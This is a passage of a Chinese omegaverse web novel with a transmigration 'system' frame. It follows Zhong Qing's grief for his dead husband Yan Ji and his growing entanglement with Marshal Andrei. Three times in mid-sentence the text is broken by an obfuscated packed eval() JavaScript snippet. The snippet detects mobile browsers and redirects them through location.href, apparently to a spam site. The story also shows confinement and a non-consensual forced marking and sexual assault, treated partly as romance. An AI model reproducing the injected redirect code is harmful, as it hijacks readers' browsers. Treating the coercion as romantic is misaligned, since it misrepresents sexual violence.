既然严楫无能,打不了胜仗,也保护不了爱人,那么就让他来。 * 安德烈变得非常忙。 诺曼战争后,他几乎被联盟民众奉为战神,军部高级军官的势力重新洗牌。 就像他父亲预料的那样,最先占领瑞铱金属矿的人相当于拿到一张军部高层的通行证,许多年长的前辈在这张通行证前都得恭顺地弯下腰来。 只不过是通行证的主人从严楫变成安德烈而已。 严楫的死让所有的荣誉都被安德烈独享,加上兰凯斯特家族的大力支持,一时间他成为联盟最炙手可热的人物。 军部势力的转移和兰凯斯特家族权柄的交接,足够他忙得脚不沾地。 钟情可不管他忙不忙,整天饭不好好吃、觉不好好睡,就躺在床上装忧郁。 所以安德烈就算再忙,每天晚上必然会回家一趟。 他回来的时候大都是深夜,钟情已经睡下,第二天天不亮就要出门,有时候甚至连一句话都说不上。 钟情只有在看到房门外的礼物,才会知道他昨晚来过。 没过几日安德烈稍微清闲下来,就立刻开始寸步不离守着钟情,似乎要把之前缺失的时间全都补上。 他性格沉闷,一开始只知道坐在床边默默看着钟情。可是钟情也不说话,他们能就这样枯坐一整日。 安德烈不得不开始学习如何交谈。 有时候聊军部一些琐事,有时候聊听见的一些趣闻,实在找不出话题,就读故事书。但他的听众始终无动于衷。 安德烈还买回来许多零碎的小玩意儿。这些东西不是他喜欢的,他只是在隔壁洋房里见过,严楫从未对 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这里面有一段数据被重置过,没有外部入侵的痕迹,就只可能是主人主动销毁。 钟情可以看见严楫和安德烈一同离开飞船潜入虫族母星,可以看见返回后他们在飞船上和前来追杀的虫族士兵激烈打斗。 但在这之后是大段空白,重新出现信号的时候周围已经安静下来。 有某种液体滴滴答答落下来、粘稠得不甚分明的声音。 钟情听见沉重的呼吸,然后是熟悉的声音。 “我不知道他们会不会把这个东西给你。清除数据不是因为想要隐瞒什么,只是……我现在太狼狈了,我怕你看到这么难看的我,就不会再喜欢我了。” “……别为我难过,阿情。我知道你不喜欢我这样叫你,可我都要死了,就让我任性一回吧。我没有半分遗憾,真的。从现在开始,再也没有什么能阻止我对你的爱了。” “来世再见。” 黑匣子安静地运转着,直到能源耗尽,指示灯在一声轻响后熄灭。 房间里重新恢复死一样的寂静。 良久,响起一声极轻的抽泣。 钟情抱着黑匣子,整个人都沉浸在巨大的悲伤中,却极力忍耐着,不愿在外人面前展示眼泪。 直到安德烈将他搂进怀中,眼前陷入一片黑暗,可以自欺欺人地假装身边空无一人,他才失声痛哭。 眼泪浸湿胸膛处的衬衣布料,安德烈感受到潮湿温暖的水汽,沉甸甸的,让他的心跳都变得迟钝起来。迟缓的心跳似乎也影响了血液的流动,他感到双眼因为充血而刺痛。 钟情正装哭装得起劲儿。 完全标记就这点好,演起哭戏那叫一个不费力,掐自己一把眼泪就哗哗流。 脖颈处突然传来一滴滚烫的湿意,烫得钟情一瑟,连哭泣都停滞片刻。 他下意识抬眼去看安德烈,安德烈却依然是那副宛如坚冰磐石的模样,一张脸干干净净,看不见半分泪痕。 14. 浪漫满园 哭累了,钟情抱着黑匣子睡下。 系统早就有话要说,这下终于找到机会:【员工,你为什么不喜欢别人叫你阿情?】 钟情:【你会喜欢我叫你统儿吗?】 系统:【有点恶心。】 钟情:【可不是吗。】 【那我该如何表达我对你的亲昵之情呢?】 【随便,只要别这么肉麻的叫我名字就行。】 系统想了想:【那我叫你空心菜?小菜菜?】 钟情:【……你高兴就好。】 有了严楫遗言里的祝福,钟情的身体终于停止衰弱。 又过了几天,他精神渐渐好起来,这才终于有心思好好看看他所在的这个房间。那些小巧的东西每一样都陪伴他好几个月,却像是第一次相见那般陌生。 棋盘格的流苏窗帘,故意漏出一条缝隙不肯拉好,让阳光偷偷溜进来留下狭长明亮的脚印。床头柜上立着星象仪,坐标指针正停留在某个不知名小星系。上边的置物架上摆了一派玩偶,各有各的可爱。对面墙壁上挂着一副拼图,颇有心机地空上几块,让人一见到就恨不得立马走过去补齐。八音盒的木头小鸟羽毛五颜六色,脸颊上涂着两大块橘红色的胭脂,翅膀的位置上贴了两条便签,写着:好想跳舞。 一切都显得那么有烟火气。 为了布置这个房间,安德烈大概透支了他能有的所有浪漫。 钟情笑了一下,视线落在床头的黑匣子上。 其实这个黑匣子并不是安德烈第一次为他妥协,窗外阳台那片玫瑰丛才是。 严楫的信息素是玫瑰,钟情伪装情深自然也喜欢玫瑰。安德烈第一次对他的眼泪手足无措的时候,就拿回来一根玫瑰花苗,想要劝他振作起来。 他大概很讨厌严楫信息素的味道,带回的玫瑰并非是与严楫相似的红色伊甸园,而是纯白的雪山。 可惜钟情对他的白玫瑰不闻不问,直到那株小苗快干死也没动手浇过一滴水。最后还是安德烈自己把花苗拿到阳台种下。 他的园艺水平实在堪忧,玫瑰丛结的花苞少得可怜,但现在,一朵玫瑰顺着胡乱生长的藤条探进窗帘,白色的花瓣边缘被阳光照耀成几近透明的金色,像一根火柴,点燃了满室凝固的烟火气。 于是一切都变得生动起来。 窗帘下一线阳光里的灰尘开始飞舞,指尖在星象仪上轻轻一拨,烟云一般的群星飞速滑过,玩偶此起彼伏地唧唧叫着,拼图补上最后一块,还有——上好发条后开始唱歌跳舞的小鸟。 钟情放下八音盒,下床向门外走去。 客厅里没有人,大门是虚掩着的。走到玄关处时,大门被人从外面推开。 那个人满身泥土,手里拿着各种花具,就这样猝不及防地撞上钟情的视线和微笑。 就像他们在离开军校多年后,在隔壁的花海洋房里第一次相见时那样。 钟情向他走过去,把手里的湿巾递给他。 “您想要擦擦吗?” 他的声音有些喑哑,可依旧温柔好听。 安德烈接过,却忘了擦。 他的心脏砰砰直跳,声势浩大得已经影响了他的听觉。 他捏着手指上沾着的湿润泥土,它们滑腻得像心脏的某部分肉块。他逐渐用力攥紧拳头,好像这样就能让胸膛里的那个东西平静下来。 钟情越过他,一路向大门走去。外面阳光很好,在门边投下一道分明的界限。 他在明暗交界处短暂地停留了一下,然后跨出一步。 长时间待在房间里的身体不习惯这样强烈的光线,他侧首稍稍躲避了一下,等眼睛适应之后向前看去。 半年时间过去,这里已经大变样了。 角落里砌起花池,草坪也已经铺好。各种植物都长得张牙舞爪,看起来恨不得和邻居打一架。 “在养花这件事上,您确实没什么天赋。”钟情听着身后的脚步声,轻声道。 “你可以教我。” “我会教您的。但现在,您得先把我放开了,安德烈元帅。” 安德烈松开手。低沉的、带着温热吐息的声音在钟情颈侧响起。 “抱歉。我只是很高兴。” 钟情没有多说什么。他向前走了一步,拉开与身后人的距离。 园子里零星栽着几颗未长成的小树,一大捆花苗堆在一旁,枝叶零星得可怜,看上去有些营养不良。 墙角砖块堆积,不远处用石灰勾出一个轮廓,大概是要沿着它砌一个花池。 “元帅确定要在这里砌池子种海棠和三色堇吗?会像一个红配绿的大王八。”钟情的吐槽没有结束,“元帅的树种的位置也不对,接下来再怎么规划都会显得乱糟糟的。” 安德烈眉心微蹙,想起隔壁房子里井井有条的摆设和精心规划的花园。很明显,他们的主人排斥凌乱。 他于是补救道:“我可以把它们挖出来重新种一遍。” 钟情摇头:“人挪活,树挪死。” 他看着那些被修剪得更乱的小树,叹口气微笑道,“何必一定要按照规矩来,就让它们随意长吧。” 他在原地站了会儿,突然脱下鞋子赤脚走进泥土里。 宽松的裤腿垂下来,遮住了半个脚背,裸露出来的那一下小块皮肤在阳光下白得耀眼。 钟情仔细辨认花苗的种类,小心翼翼地把它们种进泥土里。培土,浇水,施肥,不时停下来起身观察怎么布置才最养眼。 安德烈跟在他身后,给他递工具、出苦力,必要的时候帮他遮挡晃眼睛的阳光。 裤腿不知道什么时候被挽起来,露出同样白皙的脚踝和小腿。那块骨头纤细而精致,仿佛只需一只手的力气就可以将它握住,让它无法逃开。小腿的线条流畅优美得像枝头未开的花苞,往上散开淡淡的粉意,最后藏进布料之中。 安德烈的手背突然轻轻拂过那块凸起的脚踝骨。 钟情察觉到后转头看过来,只听见安德烈一句平淡的解释。 “沾上泥巴了。” 钟情没有在意。 这个小插曲让他意识到自己在长时间的劳作下已经有些疲惫,于是丢开手里的花具,躲在安德烈的影子里盘腿坐下来。 泥土在阳光的炙烤之下变得温热,表层一些颗粒反射着亮晶晶的光。 钟情抓起一把泥土,感受着滑腻湿润的触感在指间流淌。 “离开母星地球的时候,古美洲人带走武器,古欧洲人带走宝石,而古中国人带走泥土。他们似乎认为,有土地的地方才算有家。” “但早在无土培植技术现世之后,人类的文明就彻底成为向上的文明……或者说,无根的文明。不管是主动还是被迫,我们都已经离开那片土地太久了。” 他看着手里那捧泥土的眼神温柔而虔诚。 安德烈看着这样的他道:“难怪你不喜欢首都星。” “被你看出来了。”钟情笑笑。 “在考进联盟军校之前,我一直跟着父母住在首都星。那里算是我半个故乡,父母经后也打算在那里定居。但是一直以来,在我的印象里,它就像一艘星舰。到处是金属的地面和金属的建筑,连接房子之间的回廊复杂得像迷宫一样。在首都星出生的大部分人,一生不过是从这栋大楼迁到那栋大楼,或许连一次脚踩大地的机会都没有。” “首都星喜欢实用的东西,它不喜欢装饰。所以对待植 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163288|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物连个花盆也不肯给,任凭它们的根茎暴露在空气里,靠定时喷洒的营养液生存。” “可是,过于直白赤裸的东西总是不好看的。悬浮在空气里的植株,就像我们这些流浪在太空里的人类一样,像个怪物。” “而这里的仿造品,”钟情把手里的土壤慢慢撒下来,“聊胜于无而已。” “联盟议事大楼最顶层有一颗用地球土培育的树。”安德烈开口道。 “研究所也有一棵。”钟情道,“我听说兰凯斯特家族也有一棵。” “你喜欢的话——”他的话被钟情放在唇边示意停下的食指打断。 “我并不觉得遗憾,也没有什么非要据为己有的心思。我只是坚信我们会像古中国人类坚信的那样,有朝一日会带着这些泥土,回到它们和我们来时的地方。” 他说这话的时候语气轻快言笑晏晏,缠了他半年时间的病气被暂时一扫而空,苍白透明的皮肤下血管在有力地跳动。 这场景在阳光下有些眩目,植物和泥土的香气似乎也在预示有什么东西将得到新生。 在这迷离的幻象中,安德烈开口道: “你还想要一个秋千吗?” 钟情抬头看着他,然后笑起来。 “想要。但是你只能明天扎,今天必须坐在这里陪我把园子布置好。” 眯着眼睛的笑容显得生动而狡黠,他拉住对方的袖子,半点气势也没有地命令道,“不许逃。” * 即使布局规划完全不一样,安德烈家的花园也还是一点点在钟情的照料下,越来越像隔壁洋房从前的模样。 他们都相当默契地不再提起严楫,最终浓重的悲伤过去之后,时间变得平淡如流水,在花开花谢和一声声早安晚安当中悄然流逝。 剧情安然无恙得系统都闲不住,又跑出去挣外快。 终于某天钟情把它叫回来,它兴奋不已:【小菜菜,你又要开始作妖了吗?】 钟情刚送走一位来客。 年轻的次帅应元帅命令,来元帅家中取一份文件。按照命令,他本来是不能打扰钟情的,但钟情主动走出房门,一定要留他喝一杯咖啡。 能在安德烈身边走到这个位置,这位次帅自然也有些城府。但在钟情面前,他依然像个愣头青,只是稍稍一套话,就毫无保留地和盘托出。 “元帅难道不曾和夫人讲过吗?他那日从两百五十万光年之外赶回来,到医院的时候浑身没一块好皮肤,连内脏都受了损伤。主席以为是有什么重要军情,带着智囊团坐在病房里等他醒来,结果元帅醒来之后第一句话是——他想和您求婚。” “可我已经答应严楫了。” “是啊,元帅只晚了一步。所以他伤没好就又跑回莱昂星系,之后整整三年,一次都没有回来。也难怪元帅不愿把这些事告诉您,他那么要面子。不过夫人可以在元帅的房间里到处找找,说不定能找到元帅当年求婚的戒指。” 他大概是误解了钟情和安德烈的关系,说话的时候有一丝羞赧。 钟情谢过他,将对方送到门口,在对方依依不舍的视线中关上门。 这所房子没有任何地方对他设防。他走进安德烈的书房,果不其然在书桌抽屉里找到了那枚戒指。 丝绒的戒指盒上还带着陈年血迹,盒盖打开,钻石戒面熠熠生辉,内圈刻着两个字母—— Z。 Q。 钟情捧着戒指,在安德烈的书房里静静坐着。很快他就听见飞行器急速降落的声音,然后是仓促的奔跑声。 书房门被粗鲁得大力推开,钟情抬头朝走进来的人微笑: “感谢元帅这些日子的照顾。我想我该回家了。” 15. 雪山易感 安德烈的声音压得很低:“家?” “是啊,我的家。就在隔壁。”钟情笑意不变,“我已经联系军区,让他们派人把那所房子修缮好。他们也承诺,不会再放严家人进来捣乱。” 安德烈深深凝视着他,一步步走近。走廊外的灯光渐渐被他的身形挡住,钟情所坐的位置慢慢陷入昏暗中。 “你还没问我为什么。” “我不想知道除严楫以外任何人的私事。” 钟情抬头看着他,眸光坚定、不躲不闪,“我和元帅是交好的朋友,从前往后,永远都是。作为朋友,您为我做的已经够多了。” 安德烈答非所问:“我只晚了一步。” “战舰无法承受第八次跃迁……我已经用了最快的速度,还是晚了一步。他向你求婚的时候,我就在门外。” 他大概从来没有用这样轻的声音说过话,像是怕极了身前的人说出否定的字句。 然而钟情直视着他,不为所动地说:“请元帅让开。” 安德烈脑中有一刹那空白一片。 “为什么?”他几乎是颤抖地问,“我的爱……让你反感吗?” 从这样冷淡自持的人口里听见“爱”这个字,钟情有片刻恍惚。随即回神,冷硬地说道:“我只是不能接受。” “您太偏心了,钟助教。” 安德烈喃喃,“从十年前起,您的眼睛里就永远只有严楫。军校里所有考核我和他都是并列第一,您同时向我们道贺,但您的眼睛永远只看向他。” 他质问着:“现在您面前只有我一个人,为什么您还是一眼都不愿意看我!” “我并不曾因为偏爱严楫而影响我的教学。安德烈,你该得到的东西,我都已经给你了。” 钟情回答的声音很冷静,可越是冷静,就越让安德烈感到悲哀。 “如果我还想要别的呢?” 他蹲下来,仰视着钟情,双眼泛红,声音嘶哑得像是在乞求,“钟助教,我要的仅仅是一个机会。” 即使看见安德烈第一次显露出脆弱的情绪,钟情还是不为所动。他声音轻柔,语气却不容拒绝。 “我永远不会背叛严楫。我不能再让你这样错下去。” “错?” 安德烈怒极反笑。 他低头看着自己的手。这是一个活人的手,每一寸皮肤下都有数以万计的细胞正在工作,脉搏日夜不休地跳动,血液恒久奔腾。 但这所有的一切,都比不过一个亡魂。 错? 呵。 早在他亲眼看着严楫跌落虫群的时候,他就已经犯下不能回头的错误。 某种被强行压抑下的阴暗情绪在心中泛滥成灾,他初时理不清那是什么,现在才知道,那些都是他不曾品尝过、属于弱者的情绪——嫉妒、愤懑、绝望……还有不甘。 安德烈闭上眼,很快又睁开。 只有弱者才会摇尾乞降,他想要的东西,他自己来拿。 片刻凝滞过后,安德烈站起身。 他不再说话,转身向外走去。 钟情跟在他身后,走出书房后立刻朝别墅大门走去。但当他走到门边时,才发现这扇门已经被锁死。 钟情徒劳地扭动把手。 身后传来不紧不慢的脚步声。钟情转身,看着几步远的安德烈冷声道:“你要软禁我?” “严楫已经死了半年。” 安德烈已经恢复成原来那副冷冰冰的模样,之前的脆弱悲痛仿佛都只是幻象。他嘴角浮起一丝微笑,说出的字句却不带丝毫温情。 “他死了,但我还活着。那么,你总有一天会忘了他。” * 钟情和安德烈之间的冷战持续了很长时间。 应该说是钟情单方面躲着安德烈。 他每天坚持早睡晚起,完美避开安德烈在家的所有时间段,顺便也取消了每日共进早餐和晚餐的活动。他原本想连院子的花也不管,但实在看不惯安德烈的园艺水平,还是会每天抽安德烈外出工作的时间走出房间给花浇水松土。 这样一来,他们就像生活在两个平行世界,明明知道对方就在身边,却无从相见。 安德烈倒像是什么都没发生一样,还是会给钟情带回来许多小礼物,见不到钟情,就摆放在他房间门外。也还是会准备很多有趣的小故事,没机会讲给钟情,就输入到智能管家的系统中,让它为钟情解闷。 他开始越来越长时间地在花园里逗留。 这里每天都不一样,那些细微的变化彰显着钟情上一日在这里留下的痕迹。分株繁殖过后越发茂盛的芍药和鸢尾,被修剪过的玉兰树,扶上篱笆的葡萄藤,包括三天换水七天换鱼的金鱼池。 他总是久久站在那里,等着一缕风吹过,带来残留在花瓣和树叶上那一缕甜桃味的信息素。 以此来慰藉、告诫自己,要等待,要耐心。 他确实足够耐心,耐心到钟情都有点自我怀疑。 【不应该啊,系统。你确定到现在为止安德烈一点都没突破?】 【确实没有,我们系统是不会错的。】 【难道是我方法用错了?】钟情很快就自我否认了这个猜测。 他最后一次见罗素博士的时候特意问过,仿生人与人类最大的不同就是他们能够更改自身身体数据。后来他特意查阅过联盟成立以来所有Alpha等级突破的案例,确实只有生病和情绪剧烈波动能让他们后天突破,比如严楫就是因为重病。 许愿让安德烈生一场大病显然是不可行的。钟情这些日子不断作妖,就是想要折腾安德烈的情绪,让他在心神震荡下突破。 钟情若有所思:【难道是因为我现在给安德烈的刺激还不够?要不我先答应了他,过段时间再把他甩了?】 系统无语:【员工,你这样可就崩深情男配的人设了。】 钟情叹气:真是碍手碍脚的人设啊。 【好吧。】他听劝道,【那我还是许愿让安德烈赶紧生病吧。】 虽说钟情打定主意不理会安德烈,但安德烈每日都会敲响他的房门,邀请他一同出门。 一开始是隐蔽的办公室、枪械俱乐部、或是某处自然风景,再后来变成车水马龙的宴会、剧院和音乐厅。 钟情第一次听到后者的时候对安德烈的勇气简直叹服。严楫去世才半年,他就敢带着严楫的遗孀出入大庭广众,也不怕被唾沫星子淹死。 钟情对这种一时的自由不感兴趣,也无心和外在舆论较量,每一次都是拒绝。 拒绝邀请的时候并无负担,但在某个夜晚被门外踉跄的脚步声吵醒时,钟情还是下意识思考了下对方的处境。 隔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163289|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一扇门也能依稀闻到一点信息素的味道。 安德烈对自己信息素的管理极为严格,除了那次被严楫的完全标记影响到泄露出一点以外,其他时候从没在钟情面前显露过。 这次这样浓烈的信息素外泄,显然是易感期来临的征兆。钟情并不了解安德烈易感期的规律,这些事情他向来处理得很好,不会让人发觉半点异常。 明明出门时还好好的,甚至还问过钟情要不要跟他一起。钟情还记得那时候他说的是军部的宴会,那么这一次失控,不是陈年旧伤陡然发作,就一定是有人在宴会上暗中加害。 钟情犹豫了一下,还是推门走了出去。 安德烈的卧室房门紧闭,钟情上前轻轻敲了两下。 没有人应声。 他凑近门板,想听清楚里面的动静,却注意到转角处花瓶里的花已经开始发蔫。 在极其强烈的信息素影响下,草木的确会做出反应。 完全标记不会随着时间流逝失去效力,一位顶级Alpha的完全标记足以让钟情不受任何人信息素的影响。 所以在这之前他一直没有意识到安德烈的情况已经如此严重。 他又敲了两下门,还是没有人说话。 他索性扭开门把手——门没锁。 门被打开的一瞬间,冰雪与松针的气息扑面而来,就算有完全标记也还是能感受到那股寒意。 钟情闭了下眼睛,让自己在浓郁的信息素中冷静下来。再睁眼时,他看见靠着床头柜坐在地上的安德烈。 “元帅。” 钟情轻轻唤了一声,见对方低着头全无反应,便继续说问道,“您现在还清醒着吗?” 安德烈终于抬头。 赤红的眼眶里一片冰冷,无情到几乎要让人误以为那里面长着的是一对竖瞳。 和那双眼睛对视的一瞬间,钟情头皮发麻。 看起来情况不太妙。早该想到的,如果安德烈仍旧保持清醒,这时应该去想办法寻找抑制剂,而不是在这里枯坐。 钟情压制住Omega在Alpha之前想要臣服和逃跑的天性,他只是稍稍后退一步而已。 在看到安德烈嘴角讥讽的微笑后,他硬着头皮继续说下去:“严楫和您是同等级的Alpha,我可以释放出他的信息素帮助您保持清醒。然后您告诉我抑制剂放在哪里,可以吗?” 安德烈还是不说话,始终眨也不眨地盯着他。 钟情解开领口最上面的一颗扣子,试探性地放出一丝从前独属于严楫的玫瑰花香。 等待片刻后,钟情向前走了几步,询问道:“元帅有好一些吗?” 安德烈眼神似乎稍稍清明了些,却仍然只是道:“过来。” Omega不祥的直觉已经浓烈到让钟情无法忽视的地步,他尽量保持冷静:“元帅如果已经清醒的话,请自己去找抑制剂吧。” 他转身快步向门外走去,却在握住门把手的那瞬间被人从身后抱住。 后方巨大的力道把身体狠狠压向门板,钟情还没从胸口处的闷痛缓过来,后颈处被人舔吻的感觉就已经让他神经紧绷。 “安德烈元帅!”他挣扎着,“您清醒一下!” 然而身后的人变本加厉,暧昧的舔吻逐渐变质成轻噬,似乎下一秒就会刺透皮肤将汹涌的信息素注入腺体。 16. 舍身成仁 钟情万万想不到安德烈会做出这种事。 在他的记忆里,安德烈还是那个站在远处角落里神色冷淡的学生,让他那些被欲望控制的Alpha同期们望而生畏,让人怀疑他究竟是不是Alpha。 而现在,最不像Alpha的人,正在做连Alpha都不敢做的事。 他竟然妄想标记一个有同等级完全标记的Omega。 周围的空气里全是冰雪的味道,钟情只觉得呼吸都是痛苦的。 颈后的腺体比他的大脑更快地启动防御机制,严楫留下的完全标记受到挑衅,玫瑰花香发怒似的从那块皮肤底下涌出来。 Alpha之间存在信息素压制。低等级的Alpha稍微闻到高等级同性的信息素就会生理不适,故而绝不敢动被他们标记过的Omega。高等级的Alpha却可以随意覆盖低等级信息素。 同等级信息素之间不形成压制,但也无法覆盖。他们会彼此对抗,给标记的双方都带来痛苦。 玫瑰花香的突然攻击让安德烈闷哼一声,但这短暂停顿过后就是更加猛烈的亲吻。唇舌温热的触碰从后颈蔓延到耳侧,在按住肩把身下的人翻过来后,又逐渐从眉眼移至唇角。 撬开紧闭的牙关后继续攻城略地,唇齿逃避追逐间逐渐吸吮出蜜一样的甜美。忽视掉挠痒痒一样抗拒的力量,宽松家居服下格外好探进去的、滑腻的皮肤,禁锢在胸膛与双臂之间绵软柔弱的细腰,无害可爱到让人想把他揉进身体里和自己的骨血化为一体。 但是周围让人感到疼痛的、浓烈得影响呼吸的信息素气味在提醒他,稍有不慎这温柔乡就会变成英雄冢。 就像陷进一个甜牛奶的沼泽,沉醉而窒息。 钟情被迫禁锢在身前的人怀中,几乎完全无法反抗。 他觉得有些腿软。 刚开始还能靠在墙上勉强撑住身体,但在受到陌生信息素的影响后,双臂渐渐从推拒反抗变成依赖,他必须要靠安德烈的力量,才不至于跪下去。 他渐渐安静下来,不再挣扎。 然后,趁安德烈放松警惕时,将他一把推开,顺手将床头柜上的台灯向他砸去。 安德烈躲也不躲,玻璃灯罩碎裂后在他颈侧割出血痕,他却好似感受不到疼痛,反倒把行凶的人一步步逼退至床边。 直到退无可退时被床柱绊倒,跌坐在床单上。就算反应很快地翻身向床的另一边爬去,还是免不了被人拽住脚踝拉回原地。 自上而下的怀抱是滚烫的,鼻尖的松针气味却是冰冷的。强烈的反差下,混入玫瑰花香也依然让人难逃糊涂。 钟情还从来没有这样直面过Alpha与Omega之间力量的悬殊差异。 以前在军校的时候,所有人都需要定期使用抑制剂。没有信息素的压制,钟情能和大多数Alpha打得有来有回。 后来中弹结婚,严楫也总是温柔的,和他在一起的时候几乎每隔五分钟就会停下来问他是否难受,好说话得让人觉得可以轻易就挣脱他给出的禁锢。 但现在他被人压在身下,无论如何也挣脱不开。 系统急得吱哇乱叫:【枪!员工你枕头下有枪!】 钟情瞬间清醒了些。 没错,他枕头底下是有一把枪的。 安德烈之前害怕他为严楫殉情,将房子的所有尖锐的物品都收起来,连勺子柄都长着一个大圆脑袋。后来钟情精神好转,军部的倾轧越来越激烈,害怕有人刺杀,安德烈便给了他一把袖珍手枪用来防身。 钟情伸手摸到那把枪。 枪口渐渐对准安德烈的腰侧,他或许是没有察觉,又或许是药物已经迷惑了他的心智,让他分不清这意味着什么。 他没有停下来。 钟情手指已经扣住扳机,就在即将开枪的一瞬间,他脑海中突然极快地闪过一个念头—— 如果安德烈将严楫留下的标记覆盖了呢? 系统还在不停催促钟情动手,下一瞬间便眼前一黑。 与此同时,钟情痛得有一瞬间大脑空白,枪被撞得脱手而去。他下意识去捞,却被安德烈捉住手腕,压在头顶。 同等级信息素对抗的痛苦,即使是Alpha也难以承受。安德烈发根已经全部湿透,可他仍旧不愿意停下来。 不知过了多久,久到钟情几乎要以为自己赔了夫人又折兵的时候,玫瑰花的香味终于开始渐渐淡去。 脖颈后面传来刺骨的寒意,让几乎痛晕过去的钟情挣扎着清醒过来。 冰雪与松针的气味从那块皮肤逐渐侵入血管经脉,身体里有什么东西在逐渐消亡,严楫留下的痕迹被一点点蚕食、覆盖。 钟情心中泛起一丝喜悦,但那很快就被伪装出来的恐惧掩藏。 他哑着嗓子对安德烈说出被拖上床后的第一句话:“停下来……” 喑哑的声音和乞求的眼泪都没让安德烈心软,他仍旧咬住那块腺体不松口。 信息素不断注入皮肤,玫瑰味道的完全标记被覆盖得干干净净,就像它从来没出现过。 第二天钟情醒来时,床上只有他一个人。 浴室传来水声,钟情静静听了一会儿,忍着全身的酸痛,起身穿好衣服。 当安德烈洗漱结束走出浴室时,看见的就是衣冠整齐坐在沙发上表情淡漠的钟情。 “你隐瞒了测评指数。”钟情看着他道,“你的等级比严楫还要高。” 安德烈看起来不想做过多解释,他扯下一根毛巾擦着头发上的水珠,一边道:“每个人都有自己的秘密。” 颗颗水珠从形状好看的腹肌上滚落,顺着人鱼线滑进浴巾里。 钟情对比了一下,发现分不出高下。不愧是同一根支柱分裂出来的角色,基本上所有配置都一模一样。 钟情道:“我对元帅的秘密不感兴趣。元帅昨晚失控,不该给我一个交代吗?” 安德烈扔掉毛巾,眼睛危险地弯了一下:“难道不是你给我交代?是你先放出信息素挑衅我的。” 低等级Alpha的信息素在高等级同性面前当然是不自量力的挑衅,得到报复全属自己活该,但是—— “我怎么知道元帅会隐瞒自己的等级。何况,我是好心。” 钟情直视着安德烈,似乎要看看他还能说出什么倒打一耙的话。 被这样的眼神看着,安德烈的良心似乎终于觉醒。 他缓和了声音:“昨天晚宴的时候,有人给我的酒里下了药。我的饮食向来都是由身边人准备,会出意外一定是因为他们当中出了叛徒。情况紧急我无法相信任何人,只能选择回来。昨天……神志不清弄疼了你,抱歉。” 钟情眼眶微红:“就算失去理智,元帅也不该把我……完全标记。你明明知道,那是严楫留给我最后的东西。” 安德烈垂着头不知在想什么,良久他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163290|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头露出一个没有感情的微笑。 “完全标记……严楫的没有了,我不是又赔了你一个吗?” 钟情看着他陡然睁大眼睛,想象不到这样耍流氓的话会是从他嘴里说出来。他下意识抬手扇了一巴掌,用了最大的力气,安德烈却连头都不曾偏一下。 安德烈冷冷地看着他,那眼神如同金属一样冰冷,几乎让人生畏。Omega天性里对标记自己的Alpha有一种臣服欲,这场对视中,钟情首先受不了移开目光。 “元帅救过我,我也帮了元帅一次。现在我们两清,元帅总该放我走了吧。” 安德烈温和地开口:“钟教授,你应该知道哪怕最低等级的Alpha,易感期也会持续一周。” 他看着钟情不可置信的眼睛,慢慢说出后面的话,“我已经向军部请了一个月的假。” 短暂的恐惧和怔愣之后,钟情嗓音干涩地问道:“元帅不是有抑制剂吗?” 安德烈从床头柜底层拿出一盒针剂:“你是说这个?” 他慢条斯理地把里面的东西取出来,轻轻一捏,那些玻璃管全部碎成粉末,液体顺着他的手指淌下来。 “现在没有了。” * 钟情现在非常后悔。 如果现在让他穿越到安德烈易感期的第一天,他一定会毫不犹豫地扣下扳机。 他发现他大概从来没有真正认识过安德烈。 他不知道哪一个才是他的真面目,是之前那个沉默寡言、却总是为他着想的人,还是现在这个充满控制欲、总喜欢把他弄痛的禽兽。 他仿佛不知疲倦,又永远兴致勃勃。 钟情甚至不敢出卧室一步,双S级的Alpha发起情来就像毫无道德廉耻的野兽,总是随时随地来了兴致就往他身上一压,根本不管他正在客厅吃饭还是正在花园散步。 他看着他的眼神就像是在看猎物,时刻准备着下一秒将他吃掉。野兽怎么会疼惜猎物呢?他的心思都花在该用哪种姿势进餐上。 第六天的时候,钟情难得拥有半个下午的清净。 门外静悄悄的,好像一个人也没有。 许久没下过床的钟情没忍住,偷偷把门打开一条缝,确认外面的确空无一人后,打算到天台上活动一下快要生锈的筋骨。 系统也终于被放出小黑屋。 为了保护员工隐私,每当剧情进行到不可描述阶段时,系统们都会暂时失去摄像功能。 系统趁这段时间正大光明翘班出去挣外快,挣得红光满面。 它说话的时候还在一边数积分:【不是说好一个月吗?干嘛现在就叫我回来?】 钟情:【……】这年头哪行哪业都不好干哪,不仅员工得舍身成仁,系统也得007。 系统继续出去代班,钟情继续溜达。 刚上楼就发现玫瑰丛中眼熟的背影,他心中一边想着晦气,一边打算溜回去。 但那人仿佛背后长了眼睛,在他刚后退一步时就开口道:“过来。” 这两个字和某个夜晚的记忆重叠,让钟情的心漏跳了一拍。 